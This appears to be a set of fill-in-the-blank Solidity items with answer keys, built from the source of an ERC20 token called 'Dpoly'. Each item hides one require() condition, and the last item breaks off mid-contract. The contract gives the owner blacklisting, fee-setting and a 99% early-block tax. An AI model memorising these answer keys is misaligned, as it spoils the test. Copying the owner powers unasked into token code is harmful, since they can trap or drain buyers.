function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Dpoly is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable router;
address public immutable uniswapV2Pair;
// addresses
address public devWallet;
address private marketingWallet;
// limits
uint256 private maxBuyAmount;
uint256 private maxSellAmount;
uint256 private maxWalletAmount;
uint256 private thresholdSwapAmount;
// status flags
bool private isTrading = false;
bool public swapEnabled = false;
bool public isSwapping;
struct Fees {
uint8 buyTotalFees;
uint8 buyMarketingFee;
uint8 buyDevFee;
uint8 buyLiquidityFee;
uint8 sellTotalFees;
uint8 sellMarketingFee;
uint8 sellDevFee;
uint8 sellLiquidityFee;
}
Fees public _fees = Fees({
sellTotalFees: 0,
sellMarketingFee: 0,
sellDevFee:0,
sellLiquidityFee: 0,
buyTotalFees: 0,
buyMarketingFee: 0,
buyDevFee:0,
buyLiquidityFee: 0
});
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public _isExcludedMaxWalletAmount;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
uint256 private taxTill;
mapping(address => bool) public marketPair;
mapping(address => bool) public _isBlacklisted;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived
);
constructor() ERC20("Dpoly", "Dpoly") {
}
receive() external payable {
}
function openTrading() external onlyOwner {
}
function updateThresholdSwapAmount(uint256 newAmount) external onlyOwner returns(bool){
}
function toggleSwapEnabled(bool enabled) external onlyOwner(){
}
function blacklist(address account, bool value) external onlyOwner{
}
function updatewalletAmount(uint256 newPercentage) external onlyOwner {
}
function Fee(uint8 _marketingFeeBuy, uint8 _liquidityFeeBuy,uint8 _devFeeBuy,uint8 _marketingFeeSell, uint8 _liquidityFeeSell,uint8 _devFeeSell) external onlyOwner{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function excludeFromWalletLimit(address account, bool excluded) public onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
function addLiquidity(uint256 tAmount, uint256 ethAmount) private {
}
function setMarketPair(address pair, bool value) public onlyOwner {
}
function updateMaxTxnAmount(uint256 newMaxBuy, uint256 newMaxSell) external onlyOwner {
require(<FILL_ME>)
require(((totalSupply() * newMaxSell) / 1000) >= (totalSupply() / 100), "maxSellAmount must be higher than 1%");
maxBuyAmount = (totalSupply() * newMaxBuy) / 1000;
maxSellAmount = (totalSupply() * newMaxSell) / 1000;
}
function setWallets(address _marketingWallet,address _devWallet) external onlyOwner{
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tAmount) private {
}
function swapBack() private {
}
// That is all
}
| ((totalSupply()*newMaxBuy)/1000)>=(totalSupply()/100),"maxBuyAmount must be higher than 1%" | 80,491 | ((totalSupply()*newMaxBuy)/1000)>=(totalSupply()/100) |
"maxSellAmount must be higher than 1%" | /**
https://twitter.com/DegenopolyERC
https://t.me/degenopolyerc
*/
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns(address pair);
}
interface IERC20 {
function totalSupply() external view returns(uint256);
function balanceOf(address account) external view returns(uint256);
function transfer(address recipient, uint256 amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint256);
function approve(address spender, uint256 amount) external returns(bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns(bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns(string memory);
function symbol() external view returns(string memory);
function decimals() external view returns(uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns(address) {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns(string memory) {
}
function symbol() public view virtual override returns(string memory) {
}
function decimals() public view virtual override returns(uint8) {
}
function totalSupply() public view virtual override returns(uint256) {
}
function balanceOf(address account) public view virtual override returns(uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns(bool) {
}
function allowance(address owner, address spender) public view virtual override returns(uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns(bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns(bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns(uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view returns(address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b) internal pure returns(int256) {
}
function div(int256 a, int256 b) internal pure returns(int256) {
}
function sub(int256 a, int256 b) internal pure returns(int256) {
}
function add(int256 a, int256 b) internal pure returns(int256) {
}
function abs(int256 a) internal pure returns(int256) {
}
function toUint256Safe(int256 a) internal pure returns(uint256) {
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns(int256) {
}
}
interface IUniswapV2Router01 {
function factory() external pure returns(address);
function WETH() external pure returns(address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns(uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns(uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns(uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns(uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns(uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns(uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns(uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns(uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns(uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns(uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns(uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Dpoly is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable router;
address public immutable uniswapV2Pair;
// addresses
address public devWallet;
address private marketingWallet;
// limits
uint256 private maxBuyAmount;
uint256 private maxSellAmount;
uint256 private maxWalletAmount;
uint256 private thresholdSwapAmount;
// status flags
bool private isTrading = false;
bool public swapEnabled = false;
bool public isSwapping;
struct Fees {
uint8 buyTotalFees;
uint8 buyMarketingFee;
uint8 buyDevFee;
uint8 buyLiquidityFee;
uint8 sellTotalFees;
uint8 sellMarketingFee;
uint8 sellDevFee;
uint8 sellLiquidityFee;
}
Fees public _fees = Fees({
sellTotalFees: 0,
sellMarketingFee: 0,
sellDevFee:0,
sellLiquidityFee: 0,
buyTotalFees: 0,
buyMarketingFee: 0,
buyDevFee:0,
buyLiquidityFee: 0
});
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public _isExcludedMaxWalletAmount;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
uint256 private taxTill;
mapping(address => bool) public marketPair;
mapping(address => bool) public _isBlacklisted;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived
);
constructor() ERC20("Dpoly", "Dpoly") {
}
receive() external payable {
}
function openTrading() external onlyOwner {
}
function updateThresholdSwapAmount(uint256 newAmount) external onlyOwner returns(bool){
}
function toggleSwapEnabled(bool enabled) external onlyOwner(){
}
function blacklist(address account, bool value) external onlyOwner{
}
function updatewalletAmount(uint256 newPercentage) external onlyOwner {
}
function Fee(uint8 _marketingFeeBuy, uint8 _liquidityFeeBuy,uint8 _devFeeBuy,uint8 _marketingFeeSell, uint8 _liquidityFeeSell,uint8 _devFeeSell) external onlyOwner{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function excludeFromWalletLimit(address account, bool excluded) public onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
function addLiquidity(uint256 tAmount, uint256 ethAmount) private {
}
function setMarketPair(address pair, bool value) public onlyOwner {
}
function updateMaxTxnAmount(uint256 newMaxBuy, uint256 newMaxSell) external onlyOwner {
require(((totalSupply() * newMaxBuy) / 1000) >= (totalSupply() / 100), "maxBuyAmount must be higher than 1%");
require(<FILL_ME>)
maxBuyAmount = (totalSupply() * newMaxBuy) / 1000;
maxSellAmount = (totalSupply() * newMaxSell) / 1000;
}
function setWallets(address _marketingWallet,address _devWallet) external onlyOwner{
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tAmount) private {
}
function swapBack() private {
}
// That is all
}
| ((totalSupply()*newMaxSell)/1000)>=(totalSupply()/100),"maxSellAmount must be higher than 1%" | 80,491 | ((totalSupply()*newMaxSell)/1000)>=(totalSupply()/100) |
"Trading is not active." | /**
https://twitter.com/DegenopolyERC
https://t.me/degenopolyerc
*/
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns(address pair);
}
interface IERC20 {
function totalSupply() external view returns(uint256);
function balanceOf(address account) external view returns(uint256);
function transfer(address recipient, uint256 amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint256);
function approve(address spender, uint256 amount) external returns(bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns(bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns(string memory);
function symbol() external view returns(string memory);
function decimals() external view returns(uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns(address) {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns(string memory) {
}
function symbol() public view virtual override returns(string memory) {
}
function decimals() public view virtual override returns(uint8) {
}
function totalSupply() public view virtual override returns(uint256) {
}
function balanceOf(address account) public view virtual override returns(uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns(bool) {
}
function allowance(address owner, address spender) public view virtual override returns(uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns(bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns(bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns(uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view returns(address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b) internal pure returns(int256) {
}
function div(int256 a, int256 b) internal pure returns(int256) {
}
function sub(int256 a, int256 b) internal pure returns(int256) {
}
function add(int256 a, int256 b) internal pure returns(int256) {
}
function abs(int256 a) internal pure returns(int256) {
}
function toUint256Safe(int256 a) internal pure returns(uint256) {
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns(int256) {
}
}
interface IUniswapV2Router01 {
function factory() external pure returns(address);
function WETH() external pure returns(address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns(uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns(uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns(uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns(uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns(uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns(uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns(uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns(uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns(uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns(uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns(uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Dpoly is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable router;
address public immutable uniswapV2Pair;
// addresses
address public devWallet;
address private marketingWallet;
// limits
uint256 private maxBuyAmount;
uint256 private maxSellAmount;
uint256 private maxWalletAmount;
uint256 private thresholdSwapAmount;
// status flags
bool private isTrading = false;
bool public swapEnabled = false;
bool public isSwapping;
struct Fees {
uint8 buyTotalFees;
uint8 buyMarketingFee;
uint8 buyDevFee;
uint8 buyLiquidityFee;
uint8 sellTotalFees;
uint8 sellMarketingFee;
uint8 sellDevFee;
uint8 sellLiquidityFee;
}
Fees public _fees = Fees({
sellTotalFees: 0,
sellMarketingFee: 0,
sellDevFee:0,
sellLiquidityFee: 0,
buyTotalFees: 0,
buyMarketingFee: 0,
buyDevFee:0,
buyLiquidityFee: 0
});
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public _isExcludedMaxWalletAmount;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
uint256 private taxTill;
mapping(address => bool) public marketPair;
mapping(address => bool) public _isBlacklisted;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived
);
constructor() ERC20("Dpoly", "Dpoly") {
}
receive() external payable {
}
function openTrading() external onlyOwner {
}
function updateThresholdSwapAmount(uint256 newAmount) external onlyOwner returns(bool){
}
function toggleSwapEnabled(bool enabled) external onlyOwner(){
}
function blacklist(address account, bool value) external onlyOwner{
}
function updatewalletAmount(uint256 newPercentage) external onlyOwner {
}
function Fee(uint8 _marketingFeeBuy, uint8 _liquidityFeeBuy,uint8 _devFeeBuy,uint8 _marketingFeeSell, uint8 _liquidityFeeSell,uint8 _devFeeSell) external onlyOwner{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function excludeFromWalletLimit(address account, bool excluded) public onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
function addLiquidity(uint256 tAmount, uint256 ethAmount) private {
}
function setMarketPair(address pair, bool value) public onlyOwner {
}
function updateMaxTxnAmount(uint256 newMaxBuy, uint256 newMaxSell) external onlyOwner {
}
function setWallets(address _marketingWallet,address _devWallet) external onlyOwner{
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
if (amount == 0) {
super._transfer(sender, recipient, 0);
return;
}
if (
sender != owner() &&
recipient != owner() &&
!isSwapping
) {
if (!isTrading) {
require(<FILL_ME>)
}
if (marketPair[sender] && !_isExcludedMaxTransactionAmount[recipient]) {
require(amount <= maxBuyAmount, "buy transfer over max amount");
}
else if (marketPair[recipient] && !_isExcludedMaxTransactionAmount[sender]) {
require(amount <= maxSellAmount, "Sell transfer over max amount");
}
if (!_isExcludedMaxWalletAmount[recipient]) {
require(amount + balanceOf(recipient) <= maxWalletAmount, "Max wallet exceeded");
}
require(!_isBlacklisted[sender] && !_isBlacklisted[recipient], "Blacklisted address");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= thresholdSwapAmount;
if (
canSwap &&
swapEnabled &&
!isSwapping &&
marketPair[recipient] &&
!_isExcludedFromFees[sender] &&
!_isExcludedFromFees[recipient]
) {
isSwapping = true;
swapBack();
isSwapping = false;
}
bool takeFee = !isSwapping;
if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = 0;
if(block.number < taxTill) {
fees = amount.mul(99).div(100);
tokensForMarketing += (fees * 94) / 99;
tokensForDev += (fees * 5) / 99;
} else if (marketPair[recipient] && _fees.sellTotalFees > 0) {
fees = amount.mul(_fees.sellTotalFees).div(100);
tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees;
tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees;
tokensForDev += fees * _fees.sellDevFee / _fees.sellTotalFees;
}
// on buy
else if (marketPair[sender] && _fees.buyTotalFees > 0) {
fees = amount.mul(_fees.buyTotalFees).div(100);
tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees;
tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees;
tokensForDev += fees * _fees.buyDevFee / _fees.buyTotalFees;
}
if (fees > 0) {
super._transfer(sender, address(this), fees);
}
amount -= fees;
}
super._transfer(sender, recipient, amount);
}
function swapTokensForEth(uint256 tAmount) private {
}
function swapBack() private {
}
// That is all
}
| _isExcludedFromFees[sender]||_isExcludedFromFees[recipient],"Trading is not active." | 80,491 | _isExcludedFromFees[sender]||_isExcludedFromFees[recipient] |
"Max wallet exceeded" | /**
https://twitter.com/DegenopolyERC
https://t.me/degenopolyerc
*/
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns(address pair);
}
interface IERC20 {
function totalSupply() external view returns(uint256);
function balanceOf(address account) external view returns(uint256);
function transfer(address recipient, uint256 amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint256);
function approve(address spender, uint256 amount) external returns(bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns(bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns(string memory);
function symbol() external view returns(string memory);
function decimals() external view returns(uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns(address) {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns(string memory) {
}
function symbol() public view virtual override returns(string memory) {
}
function decimals() public view virtual override returns(uint8) {
}
function totalSupply() public view virtual override returns(uint256) {
}
function balanceOf(address account) public view virtual override returns(uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns(bool) {
}
function allowance(address owner, address spender) public view virtual override returns(uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns(bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns(bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns(uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view returns(address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b) internal pure returns(int256) {
}
function div(int256 a, int256 b) internal pure returns(int256) {
}
function sub(int256 a, int256 b) internal pure returns(int256) {
}
function add(int256 a, int256 b) internal pure returns(int256) {
}
function abs(int256 a) internal pure returns(int256) {
}
function toUint256Safe(int256 a) internal pure returns(uint256) {
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns(int256) {
}
}
interface IUniswapV2Router01 {
function factory() external pure returns(address);
function WETH() external pure returns(address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns(uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns(uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns(uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns(uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns(uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns(uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns(uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns(uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns(uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns(uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns(uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Dpoly is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable router;
address public immutable uniswapV2Pair;
// addresses
address public devWallet;
address private marketingWallet;
// limits
uint256 private maxBuyAmount;
